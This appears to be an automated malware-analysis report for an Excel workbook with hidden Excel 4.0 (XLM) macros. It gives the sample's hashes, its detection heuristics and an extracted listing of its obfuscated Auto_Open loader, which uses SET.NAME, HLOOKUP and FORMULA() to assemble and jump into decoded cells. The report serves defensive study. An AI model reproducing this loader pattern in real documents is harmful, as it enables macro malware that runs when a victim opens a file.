Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ca5cf236524745a9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:46 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 360bd58a7577601ebdbdfa4770b2d0f0 SHA-1: 74ca77664f5b1ff0ec88c1a79e7a17efd6aaab48 SHA-256: ca5cf236524745a92dc493d53dfa3f68c733f884c95d43d163d0a10e966d8a0a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6649 bytes
SHA-256: df4d28e883f3eb907b96bad42a7594603a0038b38487032edafd9a61fa4270ae
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  WRUcTbpxMml
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A153 
' 0018     24 LABEL : Cell Value, String Constant - BrEriNXoX len=0 
' 0018     25 LABEL : Cell Value, String Constant - BVuwqrWqOE len=0 
' 0018     24 LABEL : Cell Value, String Constant - eEgxBDUGf len=0 
' 0018     24 LABEL : Cell Value, String Constant - flxQpqvDa len=0 
' 0018     22 LABEL : Cell Value, String Constant - fvPJZQR len=0 
' 0018     22 LABEL : Cell Value, String Constant - hoThgev len=0 
' 0018     25 LABEL : Cell Value, String Constant - kIaEpmxaif len=0 
' 0018     25 LABEL : Cell Value, String Constant - LdZuyEzwli len=0 
' 0018     24 LABEL : Cell Value, String Constant - LEujqETOP len=0 
' 0018     21 LABEL : Cell Value, String Constant - RbLbbE len=0 
' 0018     21 LABEL : Cell Value, String Constant - RCTbOy len=0 
' 0018     23 LABEL : Cell Value, String Constant - SetQOyjg len=0 
' 0018     24 LABEL : Cell Value, String Constant - tWRcSvbkO len=0 
' 0018     22 LABEL : Cell Value, String Constant - uAbVpsz len=0 
' 0018     27 LABEL : Cell Value, String Constant - VMIGyExkivDv len=0 
' 0018     27 LABEL : Cell Value, String Constant - VuHUUGTpSTPS len=0 
' 0018     22 LABEL : Cell Value, String Constant - WygJAWU len=0 
' 0018     20 LABEL : Cell Value, String Constant - YNVpC len=0 
' 0018     23 LABEL : Cell Value, String Constant - yRwXmYCX len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZjzVXiyDuQP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  WRUcTbpxMml,A57,"SET.NAME("tWRcSvbkO",VALUE("0"))",""
'  WRUcTbpxMml,A61,"SET.NAME("VuHUUGTpSTPS",tWRcSvbkO)",""
'  WRUcTbpxMml,A66,"SET.NAME("RCTbOy",tWRcSvbkO)",""
'  WRUcTbpxMml,A68,"SET.NAME("LEujqETOP",COUNTA(yRwXmYCX))",""
'  WRUcTbpxMml,A73,"SET.NAME("flxQpqvDa",COUNTA(eEgxBDUGf))",""
'  WRUcTbpxMml,A78,[],""
'  WRUcTbpxMml,A80,"SET.NAME("BrEriNXoX","")",""
'  WRUcTbpxMml,A82,"VuHUUGTpSTPS",""
'  WRUcTbpxMml,A86,"SET.NAME("VMIGyExkivDv",HLOOKUP("*",yRwXmYCX,VuHUUGTpSTPS,FALSE))",""
'  WRUcTbpxMml,A91,"BVuwqrWqOE",""
'  WRUcTbpxMml,A94,"SET.NAME("RbLbbE",tWRcSvbkO)",""
'  WRUcTbpxMml,A97,[],""
'  WRUcTbpxMml,A102,"RbLbbE",""
'  WRUcTbpxMml,A107,"uAbVpsz",""
'  WRUcTbpxMml,A110,"SetQOyjg",""
'  WRUcTbpxMml,A113,"ZjzVXiyDuQP",""
'  WRUcTbpxMml,A117,"SET.NAME("YNVpC",VALUE(HLOOKUP("*",eEgxBDUGf,ZjzVXiyDuQP,FALSE)))",""
'  WRUcTbpxMml,A122,"LdZuyEzwli",""
'  WRUcTbpxMml,A126,"BrEriNXoX",""
'  WRUcTbpxMml,A128,"RCTbOy",""
'  WRUcTbpxMml,A130,NEXT(),""
'  WRUcTbpxMml,A135,"WygJAWU",""
'  WRUcTbpxMml,A140,"SET.NAME("f",INT(T(FORMULA(T(BrEriNXoX)&"",""&T(WygJAWU)))))",""
'  WRUcTbpxMml,A144,"kIaEpmxaif",""
'  WRUcTbpxMml,A147,NEXT(),""
'  WRUcTbpxMml,A150,RETURN(),""
'  WRUcTbpxMml,A174,"SET.NAME("hoThgev",A57)",""
'  WRUcTbpxMml,A179,"yRwXmYCX",""
'  WRUcTbpxMml,A183,"SET.NAME("eEgxBDUGf",R81C14)",""
'  WRUcTbpxMml,A186,"SET.NAME("kIaEpmxaif",194)",""
'  WRUcTbpxMml,A188,"SET.NAME("fvPJZQR",1)",""
'  WRUcTbpxMml,A193,hoThgev(),""
'  WRUcTbpxMml,A194,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.